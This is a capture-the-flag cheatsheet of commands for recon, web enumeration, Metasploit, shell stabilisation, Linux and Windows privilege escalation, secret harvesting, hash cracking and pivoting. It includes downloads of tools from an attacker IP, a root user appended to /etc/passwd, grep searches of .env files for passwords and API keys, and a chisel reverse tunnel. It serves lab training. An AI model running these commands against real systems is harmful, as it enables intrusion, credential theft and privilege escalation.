CTF Cheatsheet#
1. Initial Recon — Nmap#
nmap -p- --min-rate=5000 -T4 -Pn --open -oN nmap-allports.txt <IP>
nmap -p <ports> -sC -sV -oN nmap-detailed.txt <IP>
nmap -sU --top-ports 100 -oN nmap-udp.txt <IP>
nmap -p <ports> --script vuln -oN nmap-vuln.txt <IP>
nmap -sn <IP>/242. Web Service#
2.1 Fingerprint#
whatweb <URL>
curl -I <URL>Wappalyzer (browser extension).
2.2 Manual#
- Ctrl+U, HTML comments, JS files
robots.txt,sitemap.xml,/.well-known/- Cookies, headers, forms, uploads, URL parameters
2.3 Exposed .git#
curl -s <URL>/.git/HEAD
git-dumper <URL>/.git/ ./dump # or githacker2.4 Exposed .env (directly over the web, before getting a shell)#
curl -s <URL>/.env
curl -s <URL>/.env.bak
curl -s <URL>/.env.local
curl -s <URL>/config/.env2.5 Nikto#
nikto -h <URL>2.6 Directories / files#
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bak -o gobuster.txt
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raw-medium-directories.txt -e .php,.html,.txt2.7 Virtual Host fuzzing#
ffuf -u http://<IP> -H "Host: FUZZ.<domain>" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <default_response_size>2.8 Subdomains#
gobuster dns -d <domain.com> -w /usr/share/wordlists/subdomains-top1million-5000.txt
ffuf -u http://FUZZ.<domain.com> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
subfinder -d <domain.com>
amass enum -passive -d <domain.com>New subdomain found → add it to
/etc/hosts.
2.9 Other checks#
- CMS:
wpscan --url <URL> --enumerate u,vp,vt - Login panels: default creds / basic SQLi (
' OR 1=1 -- -) - Upload: extension bypass for RCE
- LFI/RFI:
?page=,?file= - API/Swagger:
/api,/swagger.json,/graphql - SSTI, XXE
- JWT:
jwt_tool
3. Known Exploits#
searchsploit <service> <version>
searchsploit -m <exploit_path>
msfconsole -q
search <service/version>
use <module>
set RHOSTS <IP>
run# SMB
smbclient -L //<IP>/ -N
enum4linux -a <IP>
crackmapexec smb <IP>Check for CVEs in: FTP (vsftpd, ProFTPd), SMB (EternalBlue, SambaCry), old SSH, SNMP, unauthenticated Redis, RDP (BlueKeep).
4. Initial Shell#
4.1 Stabilize the TTY#
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL+Z in the reverse shell
stty raw -echo; fg
# Enter, then:
resetAlternatives:
script /dev/null -c bash
perl -e 'exec "/bin/sh";'
/bin/sh -i4.2 Poke around#
find / -writable -type d 2>/dev/null
find / -name "*.txt" -o -name "*.conf" 2>/dev/null | grep -v "Permission denied"
cat /etc/passwd
history
ls -la /home/* /var/www /opt /tmp 2>/dev/null4.3 File transfer#
# attacker
python3 -m http.server 8000
# Linux target
wget http://<attacker_IP>:8000/linpeas.sh -O /tmp/linpeas.sh
curl http://<attacker_IP>:8000/linpeas.sh -o /tmp/linpeas.sh
# Windows target
certutil -urlcache -f http://<attacker_IP>:8000/winpeas.exe winpeas.exe5. Privilege Escalation — Linux#
5.1 Base enumeration#
sudo -l
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
getcap -r / 2>/dev/null # capabilities
ps aux
crontab -l; cat /etc/crontab
uname -a; cat /etc/os-release
id; groups
netstat -tulpn 2>/dev/null || ss -tulpn
cat /etc/fstab
find / -writable -not -path "/proc/*" 2>/dev/nullGTFOBins (https://gtfobins.github.io) — check SUID/sudo binaries for known bypasses.
5.2 Systemd timers (modern replacement for cron)#
systemctl list-timers --all
systemctl cat <timer>.timer
systemctl cat <service>.service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null5.3 pspy — monitors root processes in real time (no privilege required)#
./pspy645.4 Kernel exploits#
./linux-exploit-suggester.sh5.5 Wildcard injection (root cron/script using *)#
# e.g. root script runs "tar czf backup.tar.gz *" in a writable dir
# plant files named after tar's flags to achieve RCE5.6 Dangerous groups#
id # watch for: docker, lxd, disk, adm, shadow
# docker group -> root via bind mount
docker run -v /:/mnt --rm -it alpine chroot /mnt sh5.7 NFS no_root_squash#
# on the target
cat /etc/exports 2>/dev/null
# on the attacker
showmount -e <IP>5.8 Forgotten SSH keys#
find / -name "id_rsa*" -o -name "authorized_keys" 2>/dev/null
cat ~/.ssh/id_rsa 2>/dev/null5.9 Writable /etc/passwd#
openssl passwd -1 -salt xyz password123
echo 'hacker:$1$xyz$hash:0:0:root:/root:/bin/bash' >> /etc/passwd5.10 PATH hijacking#
echo $PATH
# malicious binary with the same name in a writable dir that comes earlier in PATH5.11 Automated scripts#
linpeas.sh
linenum.sh6. Privilege Escalation — Windows#
whoami /priv
whoami /groups
systeminfo
net user
net localgroup administrators
tasklist /svc
schtasks /query /fo LIST /v
icacls "C:\path"
reg query HKLM\SYSTEM\CurrentControlSet\Services\<service>Check for: writable services, AlwaysInstallElevated, unquoted service paths, tokens/impersonation (JuicyPotato/PrintSpoofer), passwords in config files.
winPEAS.exe
PowerUp.ps1 # Invoke-AllChecksIf Active Directory is present in the CTF:
SharpHound.exe -c All
Rubeus.exe kerberoast7. Post-Exploitation#
7.1 Passwords / secrets in files#
grep -ri "password" /etc /var /opt -R 2>/dev/null
find / -name "*.kdbx" -o -name "id_rsa" 2>/dev/null7.2 .env / app configs (dedicated search)#
find / -name ".env" -o -name "*.env*" 2>/dev/null
find / -name "config.php" -o -name "settings.py" -o -name "wp-config.php" 2>/dev/null
# If you find an app in /var/www, /opt, /srv — check it directly
cat /var/www/html/.env 2>/dev/null
# .env commonly leaks: DB_PASSWORD, API_KEY, AWS_SECRET_ACCESS_KEY, JWT_SECRET
grep -E "PASSWORD|SECRET|KEY|TOKEN" /var/www/html/.env 2>/dev/null
# -> test for credential reuse: local mysql/postgres, web panel, SSH for the same user7.3 Persistence (if needed for the CTF)#
cat ~/.ssh/authorized_keys7.4 Flag#
cat /root/root.txt # or proof.txt, flag.txt, etc.7.5 Cracking hashes#
Identify the hash type first:
hash-identifier
hashid hash.txt # more up-to-date alternative, accepts a fileJohn the Ripper:
john --wordlist=rockyou.txt hash.txt
john --format=<format> --wordlist=rockyou.txt hash.txt # force format (e.g. sha512crypt, nt, raw-md5)
john --rules --wordlist=rockyou.txt hash.txt # apply rules (leetspeak, casing, suffixes)
john --show hash.txt # list already-cracked passwords
# generate the hash file from common formats before running john
unshadow /etc/passwd /etc/shadow > combined.txt && john combined.txt
zip2john archive.zip > zip.hash && john zip.hash
rar2john archive.rar > rar.hash && john rar.hash
ssh2john id_rsa > ssh.hash && john ssh.hash
office2john document.docx > office.hash && john office.hashHashcat (faster, GPU-based):
hashcat -m <mode> hash.txt rockyou.txt # -a 0 (wordlist) is the default
hashcat --example-hashes | grep -i -A2 "<algorithm>" # find the -m number
hashcat -a 3 -m <mode> hash.txt '?a?a?a?a?a?a' # -a 3 = mask-based bruteforce
hashcat -a 0 -m <mode> hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m <mode> hash.txt --show # show already-cracked hashes
hashcat -m <mode> hash.txt --show -o cracked.txt # save the result to a file
# most common modes (-m) in CTFs
# 0 MD5
# 100 SHA1
# 1400 SHA256
# 1800 sha512crypt ($6$, /etc/shadow)
# 3200 bcrypt ($2y$/$2a$)
# 1000 NTLM
# 5600 NetNTLMv2
# 13100 Kerberoast (krb5tgs)7.6 Pivoting#
SSH tunneling (when you already have creds/an SSH key for the pivot — priority, no binary needed)
# -L: Local port forward — reach a specific internal service as if it were local
# E.g. the pivot can see MySQL at 10.10.10.5:3306 which you can't reach directly
ssh -L 3306:10.10.10.5:3306 user@<pivot_IP>
# on your Kali box:
mysql -h 127.0.0.1 -P 3306 -u root -p
# -D: Dynamic port forward (SOCKS proxy) — to sweep the whole internal network
ssh -D 1080 user@<pivot_IP>
# /etc/proxychains.conf -> socks5 127.0.0.1 1080
proxychains nmap -sT -Pn 10.10.10.0/24
proxychains curl http://10.10.10.5
# -R: Remote port forward — expose your own service for the pivot to connect back to
ssh -R 4444:127.0.0.1:4444 user@<pivot_IP>
# Combo with a stolen key, no interactive TTY
ssh -i id_rsa -L 8080:localhost:80 -N user@<pivot_IP> # -N = forward only, no shellUse
-Lwhen you already know the target internal service/port. Use-Dwhen you want to sweep the whole network (nmap/gobuster against internal hosts).
Chisel / sshuttle (when you have NO SSH, just a reverse shell)
# attacker
chisel server -p 8000 --reverse
# target
chisel client <attacker_IP>:8000 R:socks
proxychains nmap -sT -Pn <internal_IP>
# alternative
sshuttle -r user@<IP> 10.10.10.0/248. Forensics / Steganography (suspicious files)#
Run this on any file that looks out of place: an image downloaded from the site, an attachment, a file found in the shell (/var/www, /home, /tmp, an upload directory, etc.).
8.1 Binwalk — identifies and extracts embedded files/filesystems#
binwalk file.jpg # scans for embedded signatures (zip, filesystem, executable...)
binwalk -e file.jpg # extracts whatever it finds (folder _file.jpg.extracted/)
binwalk -Me file.jpg # recursive extraction (Matryoshka: extracts from inside what was already extracted)
binwalk --dd='.*' file.jpg # forces extraction of any matching signature8.2 Steghide — embeds/extracts hidden data (LSB) in JPEG/BMP/WAV/AU#
steghide info file.jpg # shows whether data is embedded, and the format
steghide extract -sf file.jpg # extracts (prompts for a password; Enter = empty password)
steghide extract -sf file.jpg -p "password" # extracts with a known password
steghide embed -cf file.jpg -ef secret.txt # embed (useful for testing/recreating a challenge)
# steghide has no built-in password bruteforce -> use:
stegseek file.jpg rockyou.txt # modern fork of stegcracker, much faster
stegcracker file.jpg rockyou.txt # older/slower alternative8.3 Complementary tools#
exiftool file.jpg # EXIF metadata (comments, GPS, author, software used)
strings file.jpg | less # readable text embedded in the binary
file file.jpg # confirms the real file type vs. the extension
zsteg file.png # steghide-equivalent, focused on PNG/BMP
foremost -i file -o output/ # recovers files by signature (similar to binwalk -e)9. General Notes#
- Log IP, ports, versions, and credentials in a
notes.mdas you go. - Test for credential reuse across services (SSH, FTP, web panel, .env).
- When switching shells (netcat → SSH), kill the old processes.
- Use
tmux/screenso you don’t lose your reverse shell session.
